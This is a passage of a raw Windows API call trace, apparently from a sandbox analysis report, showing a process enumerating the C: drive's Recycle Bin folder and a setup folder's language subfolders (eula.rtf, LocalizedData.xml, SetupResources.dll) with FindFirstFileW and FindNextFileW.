hFindFile=0x4290740, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0100.761] FindNextFileW (in: hFindFile=0x4290740, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0100.761] FindClose (in: hFindFile=0x4290740 | out: hFindFile=0x4290740) returned 1 [0100.761] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0100.761] FindNextFileW (in: hFindFile=0x4290080, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0100.761] FindClose (in: hFindFile=0x4290080 | out: hFindFile=0x4290080) returned 1 [0100.761] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4291058 | out: hHeap=0x5c0000) returned 1 [0100.762] FindNextFileW (in: hFindFile=0x4290240, lpFindFileData=0x38ffcf8 | out: lpFindFileData=0x38ffcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0100.762] FindNextFileW (in: hFindFile=0x4290240, lpFindFileData=0x38ffcf8 | out: lpFindFileData=0x38ffcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0100.762] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4291058 [0100.763] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4290300 [0101.011] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0101.078] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0101.078] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.078] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42907c0 [0101.080] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.080] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.080] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.080] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.081] FindNextFileW (in: hFindFile=0x42907c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.081] FindClose (in: hFindFile=0x42907c0 | out: hFindFile=0x42907c0) returned 1 [0101.081] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.081] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0101.081] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.081] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290800 [0101.082] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.082] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.083] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.083] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.083] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.083] FindClose (in: hFindFile=0x4290800 | out: hFindFile=0x4290800) returned 1 [0101.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.084] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0101.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.084] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290680 [0101.085] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.085] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.085] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.085] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.085] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.085] FindClose (in: hFindFile=0x4290680 | out: hFindFile=0x4290680) returned 1 [0101.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.086] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0101.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.086] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42902c0 [0101.087] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.087] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.087] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.087] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.088] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.088] FindClose (in: hFindFile=0x42902c0 | out: hFindFile=0x42902c0) returned 1 [0101.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.088] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0101.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.088] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290480 [0101.089] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.089] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.090] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.090] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.090] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.090] FindClose (in: hFindFile=0x4290480 | out: hFindFile=0x4290480) returned 1 [0101.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.091] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0101.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.091] FindFirstFileW (in: 